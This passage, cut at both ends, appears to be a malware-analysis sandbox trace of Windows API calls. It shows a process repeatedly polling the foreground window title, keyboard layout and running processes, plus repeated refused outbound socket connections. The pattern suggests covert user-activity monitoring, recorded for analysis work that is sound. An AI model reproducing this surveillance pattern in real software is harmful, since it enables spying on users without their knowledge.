lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.707] GetForegroundWindow () returned 0x101a2 [0228.707] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.769] GetForegroundWindow () returned 0x101a2 [0228.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.831] GetForegroundWindow () returned 0x100f6 [0228.831] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0228.832] EnumProcesses (in: lpidProcess=0x23a86c4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a86c4, lpcbNeeded=0x4f8f87c) returned 1 [0228.832] GetLastError () returned 0x0 [0228.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0228.835] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0228.835] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0228.894] GetForegroundWindow () returned 0x101a2 [0228.894] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0228.894] EnumProcesses (in: lpidProcess=0x23b9d64, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b9d64, lpcbNeeded=0x4f8f87c) returned 1 [0228.894] GetLastError () returned 0x0 [0228.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0228.898] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0228.898] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.959] GetForegroundWindow () returned 0x101a2 [0228.959] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.019] GetForegroundWindow () returned 0x101a2 [0229.019] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.081] GetForegroundWindow () returned 0x101a2 [0229.081] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.143] GetForegroundWindow () returned 0x100f6 [0229.143] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0229.144] EnumProcesses (in: lpidProcess=0x23cbc0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cbc0c, lpcbNeeded=0x4f8f87c) returned 1 [0229.144] GetLastError () returned 0x0 [0229.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.149] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0229.149] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0229.206] GetForegroundWindow () returned 0x101a2 [0229.206] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0229.206] EnumProcesses (in: lpidProcess=0x23dd2ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dd2ac, lpcbNeeded=0x4f8f87c) returned 1 [0229.206] GetLastError () returned 0x0 [0229.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.210] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0229.210] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.268] GetForegroundWindow () returned 0x101a2 [0229.268] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.331] GetForegroundWindow () returned 0x101a2 [0229.331] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.393] GetForegroundWindow () returned 0x101a2 [0229.393] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.464] GetForegroundWindow () returned 0x100f6 [0229.464] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0229.464] EnumProcesses (in: lpidProcess=0x23ef154, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ef154, lpcbNeeded=0x4f8f87c) returned 1 [0229.464] GetLastError () returned 0x0 [0229.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.469] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0229.469] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0229.518] GetForegroundWindow () returned 0x101a2 [0229.518] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0229.518] EnumProcesses (in: lpidProcess=0x24007f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24007f4, lpcbNeeded=0x4f8f87c) returned 1 [0229.518] GetLastError () returned 0x0 [0229.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.522] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0229.522] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.580] GetForegroundWindow () returned 0x101a2 [0229.580] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.643] GetForegroundWindow () returned 0x101a2 [0229.643] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.705] GetForegroundWindow () returned 0x101a2 [0229.705] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.767] GetForegroundWindow () returned 0x100f6 [0229.767] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0229.767] EnumProcesses (in: lpidProcess=0x24126f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24126f0, lpcbNeeded=0x4f8f87c) returned 1 [0229.768] GetLastError () returned 0x0 [0229.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.771] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0229.771] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0229.830] GetForegroundWindow () returned 0x101a2 [0229.830] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0229.830] EnumProcesses (in: lpidProcess=0x2423d90, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2423d90, lpcbNeeded=0x4f8f87c) returned 1 [0229.830] GetLastError () returned 0x0 [0229.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0229.834] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0229.834] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.894] GetForegroundWindow () returned 0x101a2 [0229.894] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0229.957] GetForegroundWindow () returned 0x101a2 [0229.957] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.017] GetForegroundWindow () returned 0x101a2 [0230.017] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.079] GetForegroundWindow () returned 0x100f6 [0230.080] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0230.080] EnumProcesses (in: lpidProcess=0x2435c38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2435c38, lpcbNeeded=0x4f8f87c) returned 1 [0230.080] GetLastError () returned 0x0 [0230.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.084] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0230.084] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0230.142] GetForegroundWindow () returned 0x101a2 [0230.142] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0230.142] EnumProcesses (in: lpidProcess=0x24472d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24472d8, lpcbNeeded=0x4f8f87c) returned 1 [0230.142] GetLastError () returned 0x0 [0230.143] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.147] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0230.147] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.204] GetForegroundWindow () returned 0x101a2 [0230.204] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.267] GetForegroundWindow () returned 0x101a2 [0230.267] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.329] GetForegroundWindow () returned 0x101a2 [0230.329] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.392] GetForegroundWindow () returned 0x100f6 [0230.392] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0230.392] EnumProcesses (in: lpidProcess=0x2459180, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459180, lpcbNeeded=0x4f8f87c) returned 1 [0230.392] GetLastError () returned 0x0 [0230.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.396] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0230.396] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0230.454] GetForegroundWindow () returned 0x101a2 [0230.454] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0230.454] EnumProcesses (in: lpidProcess=0x246ac84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246ac84, lpcbNeeded=0x4f8f87c) returned 1 [0230.454] GetLastError () returned 0x0 [0230.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523020, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.458] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0230.458] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.516] GetForegroundWindow () returned 0x101a2 [0230.516] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.579] GetForegroundWindow () returned 0x101a2 [0230.579] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.641] GetForegroundWindow () returned 0x101a2 [0230.641] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.704] GetForegroundWindow () returned 0x100f6 [0230.704] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0230.704] EnumProcesses (in: lpidProcess=0x247cb30, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247cb30, lpcbNeeded=0x4f8f87c) returned 1 [0230.704] GetLastError () returned 0x0 [0230.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543040, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.709] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0230.709] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0230.766] GetForegroundWindow () returned 0x101a2 [0230.766] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0230.766] EnumProcesses (in: lpidProcess=0x248e180, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248e180, lpcbNeeded=0x4f8f87c) returned 1 [0230.766] GetLastError () returned 0x0 [0230.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563060, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563060, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0230.770] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0230.770] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.828] GetForegroundWindow () returned 0x101a2 [0230.828] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.891] GetForegroundWindow () returned 0x101a2 [0230.891] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0230.956] GetForegroundWindow () returned 0x101a2 [0230.956] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.015] GetForegroundWindow () returned 0x100f6 [0231.015] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0231.016] EnumProcesses (in: lpidProcess=0x249ffd8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249ffd8, lpcbNeeded=0x4f8f87c) returned 1 [0231.016] GetLastError () returned 0x0 [0231.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583080, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.019] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0231.019] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0231.078] GetForegroundWindow () returned 0x101a2 [0231.078] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0231.078] EnumProcesses (in: lpidProcess=0x24b1628, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b1628, lpcbNeeded=0x4f8f87c) returned 1 [0231.078] GetLastError () returned 0x0 [0231.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.081] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0231.081] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.140] GetForegroundWindow () returned 0x101a2 [0231.140] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.203] GetForegroundWindow () returned 0x101a2 [0231.203] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.265] GetForegroundWindow () returned 0x101a2 [0231.265] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.328] GetForegroundWindow () returned 0x100f6 [0231.328] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0231.328] EnumProcesses (in: lpidProcess=0x24c3480, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c3480, lpcbNeeded=0x4f8f87c) returned 1 [0231.328] GetLastError () returned 0x0 [0231.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.332] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0231.333] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0231.390] GetForegroundWindow () returned 0x101a2 [0231.390] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0231.390] EnumProcesses (in: lpidProcess=0x24d4ad0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d4ad0, lpcbNeeded=0x4f8f87c) returned 1 [0231.391] GetLastError () returned 0x0 [0231.391] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.394] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0231.394] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.452] GetForegroundWindow () returned 0x101a2 [0231.452] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.515] GetForegroundWindow () returned 0x101a2 [0231.515] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.578] GetForegroundWindow () returned 0x101a2 [0231.578] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.639] GetForegroundWindow () returned 0x100f6 [0231.640] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0231.640] EnumProcesses (in: lpidProcess=0x24e697c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e697c, lpcbNeeded=0x4f8f87c) returned 1 [0231.640] GetLastError () returned 0x0 [0231.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.643] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0231.643] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0231.702] GetForegroundWindow () returned 0x101a2 [0231.702] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0231.702] EnumProcesses (in: lpidProcess=0x24f7fcc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f7fcc, lpcbNeeded=0x4f8f87c) returned 1 [0231.702] GetLastError () returned 0x0 [0231.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0231.706] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0231.706] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0231.764] GetForegroundWindow () returned 0x101a2 [0231.764] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 Thread: id = 31 os_tid = 0xba8 Thread: id = 32 os_tid = 0xbac Thread: id = 33 os_tid = 0xbb4 [0194.056] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0195.325] WSAGetOverlappedResult (in: s=0x2f8, lpOverlapped=0x24a1540, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0 [0195.325] GetLastError () returned 0x274d [0195.407] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0195.556] GetLastError () returned 0x274d [0195.574] closesocket (s=0x2f8) returned 0 [0195.574] GetLastError () returned 0x0 [0201.038] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x2403ed4, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0 [0201.038] GetLastError () returned 0x274d [0201.038] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0201.038] GetLastError () returned 0x274d [0201.039] closesocket (s=0x2ec) returned 0 [0201.039] GetLastError () returned 0x0 [0206.299] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x24b6698, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0 [0206.299] GetLastError () returned 0x274d [0206.299] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0206.300] GetLastError () returned 0x274d [0206.300] closesocket (s=0x2ec) returned 0 [0206.300] GetLastError () returned 0x0 [0211.687] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x23a81fc, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0 [0211.687] GetLastError () returned 0x274d [0211.687] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0211.687] GetLastError () returned 0x274d [0211.687] closesocket (s=0x2ec) returned 0 [0211.688] GetLastError () returned 0x0 [0226.694] CoUninitialize () [0226.694] CoGetContextToken (in: pToken=0x552fbd4 | out: pToken=0x552fbd4) returned 0x0 [0226.694] CObjectContext::QueryInterface () returned 0x0 [0226.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.694] Release () returned 0x0 [0226.694] CoGetContextToken (in: pToken=0x552fb68 | out: pToken=0x552fb68) returned 0x0 [0226.694] CObjectContext::QueryInterface () returned 0x0 [0226.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.694] Release () returned 0x0 Thread: id = 34 os_tid = 0xbb8 [0194.186] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0194.188] GetForegroundWindow () returned 0x101a2 [0194.188] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0194.188] EnumProcesses (in: lpidProcess=0x24db5f0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24db5f0, lpcbNeeded=0x562f77c) returned 1 [0194.189] GetLastError () returned 0x0 [0194.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30e0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30e0, ResultLength=0x562f740*=0x8ee8) returned 0x0 [0194.193] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0194.193] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.193] GetForegroundWindow () returned 0x101a2 [0194.193] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.200] GetForegroundWindow () returned 0x101a2 [0194.200] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.262] GetForegroundWindow () returned 0x101a2 [0194.262] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.324] GetForegroundWindow () returned 0x100f6 [0194.324] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0194.324] EnumProcesses (in: lpidProcess=0x24ed91c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ed91c, lpcbNeeded=0x562f77c) returned 1 [0194.325] GetLastError () returned 0x0 [0194.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e3100, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e3100, ResultLength=0x562f740*=0x8ee8) returned 0x0 [0194.330] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0194.330] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0194.387] GetForegroundWindow () returned 0x101a2 [0194.387] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0194.387] EnumProcesses (in: lpidProcess=0x24ff440, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ff440, lpcbNeeded=0x562f77c) returned 1 [0194.387] GetLastError () returned 0x0 [0194.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603120, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603120, ResultLength=0x562f740*=0x8ee8) returned 0x0 [0194.391] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0194.391] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.449] GetForegroundWindow () returned 0x101a2 [0194.449] GetWindowTextW (in: 